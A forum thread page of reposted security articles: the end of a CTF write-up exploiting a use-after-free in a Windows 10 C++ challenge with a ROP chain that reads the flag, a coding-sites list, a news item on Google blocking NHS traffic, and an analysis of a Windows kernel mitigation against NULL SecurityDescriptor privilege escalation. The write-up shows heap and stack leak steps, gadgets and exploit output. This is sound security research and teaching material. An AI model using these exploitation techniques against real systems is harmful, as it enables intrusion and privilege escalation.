00007ff7`9b9ffbd0 0000017c`2632ca80 00007ff7`9b9ffbd8 0000017c`262da050 00007ff7`9b9ffbe0 0000017c`2632cf20 Yes! We indeed still have stack pointers on the default heap, and we can leak an address from that heap at static offsets from our winworld base address. Now we can just browse heap pages and try to find these stack addresses. In my exploit for simplicity I used a simple heuristic that finds QWORDS that are located below the heap but also above 1`00000000, and interactively ask which one to choose as a stack leak. This can obviously be improved. Next step is to dump the stack until we find the targeted return address, craft our std::string to point to that exact address, and use the “update <id> name ropchain” feature to write a ropchain! Mitigation policies & ROP Now that we have both an arbitrary write and the exact address where we can overwrite a saved RIP on the stack, all that is left is build a ROP chain. Several ideas to do it: VirtualProtect then shellcode LoadLibrary of a library over SMB Execute a shell command (WinExec etc.) Full ROP to read the flag As mentioned earlier the binary has some of the recent mitigation policies in our context the following ones are relevant: ProcessDynamicCodePolicy : prevents inserting new executable memory → VirtualProtect will fail ProcessSignaturePolicy : libraries must be signed → prevents LoadLibrary ProcessImageLoadPolicy : libraries cannot be loaded from a remote location → prevents LoadLibrary over SMB The two last options are still available. I also wanted to add a call to UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY in the parent AppJailLauncherprocess – which would prevent winworld from creating new processes – but since it is a console application, spawning winworld also creates a conhost.exe process. Using this mitigation prevents the creation of the conhost.exe process and therefore the application cannot run. My solution reads the flag directly in the ROP chain. Since I didn’t want to go through all the trouble of CreateFile and Windows handles, I instead used the _sopen_s / _read / puts / _flushall functions located in ucrtbase.dll that have classic POSIX-style file descriptors (aka 0x3). Looking for gadgets in ntdll we can find a perfect gadget that pop the first four registers used in the x64 calling convention. Interestingly the gadget turns out to be in CFG itself, which was a scary surprise while single stepping through the rop chain… 0:000> u ntdll+96470 L5 ntdll!LdrpHandleInvalidUserCallTarget+0x70: 00007ffa`89b16470 5a pop rdx 00007ffa`89b16471 59 pop rcx 00007ffa`89b16472 4158 pop r8 00007ffa`89b16474 4159 pop r9 00007ffa`89b16476 c3 ret Putting it all together we finally get the following: Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote [+] Discovering the PRNG seed... Clock not synced with server... [+] Resynced clock, delay of -21 seconds [+] Found the maze center: (38, 41) [+] Check the map for people positions [+] Make sure that LFH is enabled for bucket of sizeof(Person) 6 / 6 ... [+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious 256 / 256 ... [+] Cloning host, with uninitialized memory this one should have is_conscious... [+] Removing current friends of pwnrobot... [+] Moving a guest to the maze center (37, 86) -> (38, 41)... [+] Moving our host to the maze center (38, 29) -> (38, 41)... [+] pwnrobot should now be a human... kill him! [+] Removing all pwnrobot's friends... 7 / 7 ... [+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it [+] Spray 0x100 std::string to trigger UAF 256 / 256 ... [+] heap leak: 0x18a6eae8b40 [+] Leaking stack ptr... [+] Dumping heap @ 0x18a6eae6b40... [+] Dumping heap @ 0x18a6eae7b40... [HEAP] 0x18a6eae7b40 [00] - 0x18a6ea96c72 [01] - 0x18a6ea9c550 [02] - 0x18a6ea9e6e0 Use which qword as stack leak? [+] Dumping heap @ 0x18a6eae8b40... [HEAP] 0x18a6eae8b40 [00] - 0x3ab7faf120 [01] - 0x3ab7faf4f0 [02] - 0x18a6ea9c550 [03] - 0x18a6eae84c0 [04] - 0x18a6eae8560 [05] - 0x18a6eae8760 Use which qword as stack leak? 1 [+] stack @ 0x3ab7faf4f0 [+] Leaking stack content... [-] Haven't found saved RIP on the stack. Increment stack pointer... [-] Haven't found saved RIP on the stack. Increment stack pointer... [-] Haven't found saved RIP on the stack. Increment stack pointer... RIP at offset 0x8 [+] Overwrite stack with ROPchain... [+] Trigger ROP chain... Better not forget to initialize a robot's memory! Flag: INS{I pwn, therefore I am!} [+] Exploit completed. Conclusions You can find the full exploit here . sourca : https://blog.scrt.ch/2017/01/27/exploiting-a-misused-c-shared-pointer-on-windows-10/ thecount.
  12. 10 of the best trustworthy sites for learning CODING that you may not know In today’s digital world, coding has become so popular that it can change one’s life. We have composed 10 of the best trustworthy sites to learn coding. You can take an example of coders who have sold their code to multi-nationals and became millionaires in months. Initially coding can be tough for a beginner. A person needs to understand the concept of computer science and get used to tools that help in developing the code. Many people give up before starting, but it doesn’t have to be in that manner. The best way to learn code is with project based approach. It will give you new ideas, keep you motivated and most importantly your retention of code will be increased. So, before you start coding lesson, think of a small project in your mind. Below mentioned are the best resources for getting started with coding Codecademy This is the most popular and recognized resource for learning code. Join the community of codecademy and you can choose from courses grouped into eight tracks: APIs, Ruby, Python, JavaScript, jQuery, PHP, web fundamentals, or combine languages into projects. CodeRace.me : Code Racer as the name suggest provides code learning while competing with others in a Race. With time limits and help feature Code Racer has made a unique style to learn from. PhpAcademy : There are hundreds of free videos to help you learn web development, with an optional premium membership to get even more out of PhpAcademy. KhanAcademy : Khan Academy brings millions of students from around the world together to learn all sorts of digital skills, from coding to calculus to computer science theory. This means you can become an expert coder and a proficient mathematician in the same place. Codingbat : If you have Python and Java problems then no frills just the exercises. It is probably better for someone with a little bit of background (meaning you know what a function/parameter is and can use The Google to figure out/find grammar/functions you need). The site was made by the same guy who taught the Google Python Class. Coursera : Online education giant Coursera brings the world’s best courses from dozens of top universities online, and lets anyone take them for free. Coursera classes are now available in five languages i.e. English, Spanish, French, Italian and Chinese, and are taught by professors from 62 universities. The CodePlayer : On the CodePlayer, you can watch interactive presentations that explain how people built things from scratch. Once you become a coding expert, you can add your own presentations to teach others what you know. Udacity : Udacity is a very famous brand and has been in the market for years now. It is for Massive Online Open Courses (MOOCs). It is multi-facetted and you get to know about many things apart from coding as well. It is like a social network analysis. It’s almost like a college without a diploma degree. Organizations like Google have a detailed course on Android Apps, and consequently ios apps also have courses well within reach. Generally it is free but some courses have fees for one on one tuition. This is a worth trying website for coders. Codeschool : I would say it’s more for intermediate learners, but a fantastic resource for learning code. You can do a beginner level course on Udacity, Treehouse and Codeacademy, and if you go further you will be more at an ease with Code School. They have a different approach and more interactive way to teach you about coding. You have the path style sections – Ruby, HTML/CSS, iOS, and JavaScript. At the same time, you have Git, Objective – C and jQuery. Treehouse : Treehouse is another top notch consistent player in the MARKET. With a 14-day free testing, $25 is charged for the primary account and $49 for a specialist and you will find to learn almost anything with the proper material. You will get excellent videos, interactive quiz, forums exercises and expert reviews to make your journey to learn coding easier.
  13. Hospitals advised to use Bing instead Exclusive Google is blocking access to the entire NHS network, mistaking the amount of traffic it is currently receiving as a cyber attack. An email from an NHS trust's IT department seen by The Register confirmed that the US search giant has mistaken the current traffic levels for a botnet. The email headed "Google Access" stated: "Google is intermittently blocking access due to the amount of traffic from NHS Trusts Nationally (This is not being blocked by the IT Department). "This is causing Google to think it is suffering from a cyber-attack. "We are advising staff to use an alternative search engine i.e. Bing to bypass this problem. "If you have 'Chrome' on your desktop the page will display correctly but if you 'should' get a CAPTCHA pop up, please follow the instructions to continue." The source said they did not know why Google had suddenly decided to block access to the NHS net, but confirmed it was the "go-to resource" for a lot of clinicians. The Register has contacted NHS Digital and Google for a comment. Controversially, Google is also attempting to drum up business with the NHS through its DeepMind AI business. Last year it emerged that the Royal Free NHS trust had signed a deal with DeepMind to give the outfit access to 1.6 million patient records, without explicit permission from patients. It has since won a deal with Moorfields Eye Hospital to access one million anonymous eye scans. The NHS is one of the biggest employers in the world, with 1.2 million people working for the organisation. Earlier this week it emerged that a reply-all NHS email fail in Croydon resulted in 500 million emails being sent across the NHS in just 75 minutes. Google refused to comment but said: "It is not correct to say we have blocked the entire NHS network." ® Updated at 12:31 UTC on Wednesday 1 February to add: An NHS Digital spokesman contacted The Reg to say: “We are aware of the current issue concerning NHS IP addresses which occasionally results in users being directed to a simple verification form when accessing Google. This would appear to be due to the high number of people using our systems and trying to access Google at peak times. We are currently in discussion with Google as to how we can help them to resolve the issue.” sourca : https://www.theregister.co.uk/2017/02/01/google_mistakes_entire_nhs_for_a_botnet/?utm_source=dlvr.it&utm_medium=twitter
  14. TheCount.

    TorMail !?

    Unsealed docs confirm the FBI planted malware on TorMail, sought to unmask 240+ users in childporn case sourca : https://www.documentcloud.org/documents/3215110-Mdd-8-13-Mj-01745-18.html
  15. Analysing the NULL SecurityDescriptor kernel exploitation mitigation in the latest Windows 10 v1607 Build 14393 We recently discovered a new and quietly released Windows kernel exploitation defence. Exploiting a kernel bug by setting the pointer to the SecurityDescriptor to NULL in the header of a process object running as SYSTEM won’t work from Windows 10 v1607 (Build 14393). If you want to know why, keep reading. One of the most efficient and reliable attack vectors used by kernel privilege escalation exploits is to set the pointer to the SecurityDescriptor of a securable object to NULL. This pointer resides in the header of the object. By performing this action against a process that runs with high privileges, such as the SYSTEM account, the exploit process can then inject a remote thread and execute code under the security context of the target process. This kernel object attack vector is quite powerful also for the reason that makes Supervisor Mode Execution Protection (SMEP) and other protections such as Non-Executable Kernel pool memory totally obsolete, since we don’t have to execute our payload anymore in Kernel mode and/or address space in order to elevate our privileges. In other words, zeroing out the pointer to the security descriptor of a process running as SYSTEM is pretty much equal to a ‘GOD_MODE’ cheat, in the language of video game players. In Windows 10 using this attack vector with just a write-zero-primitive was only possible until v1511 (Build 10586). Indeed, in the latest Windows 10 v1607 (Build 14393), a mitigation against this attack vector has been added. This doesn’t apply in earlier major Windows versions such as Windows 8.1 and below. Note: This analysis is based on Windows 10 v1607 (Build 14393) x64. The SecurityDescriptor Every kernel object is associated with a header structure that is prepended to the object itself. One of the members of this structure is a pointer to a SecurityDescriptor which contains the Access Control List (ACL) for that object. The ACL contains the information about who can access this very object and with what permissions. As a side note, not all objects store the pointer to their SecurityDescriptor in their header. For example persistent objects such as files and registry keys use their own mechanism to access this data during the access check to the object. Using Windbg, let’s get some information about the process of Windows Explorer. 1 – Getting address of process object Now let’s get some information about its header. 2 – Getting address of object header Now let’s get some more information about this structure. 3 – Getting SecurityDescriptor pointer As you can see, by knowing the address of our object, we can easily get the address where the pointer to the object security descriptor is stored. This is basically located at address: OBJECT_ADDRESS – sizeof(ULONG_PTR). Going back to the pointer to that security descriptor, remember this address is practically a pseudopointer, meaning that its last 4 bits contain information that is not related to the actual address. To get the actual address, we need to mask those bits. This can be achieved by doing (PSEUDO_POINTER &amp; 0xFFFFFFFFFFFFFFF0). So let’s see what information is stored there in this case. 4 – Reading the Security Descriptor Let’s see now how this translates from a high level perspective. High level overview By using ProcessExplorer we can get an idea of who has access to the process object and at what level. So let’s see how the ACL looks in ProcessExplorer. 5 – Windows Explorer default permissions Indeed, this matches the information that we retrieved through the security descriptor . The SYSTEM and the current user (Admin) accounts have full access permissions 0x1FFFFF to this process object. NULL SecurityDescriptor Attack Vector Up to Windows 10 v1511 this is what you would see after using the aforementioned attack vector: 6 – Win10 v1511 – Null SecurityDescriptor Pointer The target process spoolsv.exe is running as SYSTEM, but there is no information about who can access this object and at what level. This grants full access to everyone. Remember, this is not the same as pointing to a valid security descriptor with no Access Control Entries (ACEs) defined, thus an empty Discretionary Access Control List (DACL) . In that case access would be denied to everyone. The image above depicts the result of a kernel exploit using a write-zero-primitive to set the SecurityDescriptor pointer member of the header of the target process object to zero. In this case when someone requests access to the process object, if that member is set to zero the kernel assumes that this object was created with a NULL DACL, and will grant access to everyone. Mitigating the NULL SecurityDescriptor Attack Vector In the latest Windows 10 v1607, this attack vector is now blocked. This is achieved by performing a simple check against a global table describing some characteristics of the NT kernel object types whenever a process attempts to get a handle, thus get access to an object. So this is how this attack type was mitigated via a few screenshots. 7 – Checking if the routine used to manage the security of the object is the default 8 – Checking if the last 4 bits of the pointer to the SecurityDescriptor are set to zero 9 – Checking if the low DWORD of the pointer to the SecurityDescriptor is less than one 10 – Checking if the full pointer to the SecurityDescriptor is not zero 11 – Another check of the low DWORD of the pointer with r10d register 12 – Based on the check in the previous image 13 – Checking if the entire pointer to the SecurityDescriptor is zero The next check is the crucial one, so we will explain some things first. If you have a look at image 7, you will notice that the R14 register holds the address of an ObjectType structure. The Kernel maintains a table of pointers (ObTypeIndexTable) to these structures to keep information about the various object types. So let’s examine the information that this ObjectType structure contains. 14 – ObjectType object Notice the index value is set to 7. This indicates the index where a pointer to this ObjectType structure is stored inside the ObTypeIndexTable, and we also know that the object we are trying to access is a process object. Let’s move on now with the next check as show below. 15 – Checking if objectType.SecurityRequired flag is set We see that it checks if the 3rd bit at [r14+0x42] is not zero and in that case it will jump So let’s examine the TypeInfo member of the ObjectType structure, since that offset is part of it. 16 – ObjectType.TypeInfo So basically, if the SecurityRequired flag is set, which it is, then the first jnz jump will be taken and the kernel will trigger a BSoD with a “BAD OBJECT HEADER” stop code. 17 – BSoD – BAD OBJECT HEADER Here is the code that triggers the crash 18 – Triggering BSoD Putting everything together, the kernel will now perform an extra security check before even examining if the process that requests access to an object actually can access the object based on the SecurityDescriptor of the object and the security token of the requester. This could be summed up with the following 1 if(ObjectHeader.SecurityDescriptor == NULL && (ObjectType.SecurityRequired || (ObjectHeader.InfoMask &2) != 0)) 2 { 3 BugCheckEx(BAD_OBJECT_HEADER); 4 } Objects created with NULL DACL In the case of a programming error, bad security practice or if for any other reason an object is created with a NULL DACL (which grants access to everyone), this won’t have any impact in the host. The reason for this is that even if we decide to assign such DACL to the security descriptor, the SecurityDescriptor pointer in the header of the object will still be valid and it will point to a SecurityDescriptor with a DACL set to NULL. An example is shown below. Final thoughts It is clear that the Microsoft folks are continuously trying to mitigate various attack vectors. This examined attack vector, that has been now blocked, is one of the most used when it comes to kernel bug exploitation. However, as already mentioned, this security check is only effective when the bug only allows you to write a zero in an arbitrary kernel memory address, and the chosen attack vector is the one analysed here. If the bug allows for a read-write primitive as well, then we could leak the pointer to the security descriptor and set a NULL DACL there, which would pass under the radar undetected. On the other hand, if we can control the value that we are writing to an arbitrary kernel memory address then we could choose different exploitation paths. One of them would be to access the token of the exploit process and enable privileges at will, which pretty much would have the same “GOD_MODE” effect. sourca: https://labs.nettitude.com/blog/analysing-the-null-securitydescriptor-kernel-exploitation-mitigation-in-the-latest-windows-10-v1607-build-14393/
×
×
  • Create New...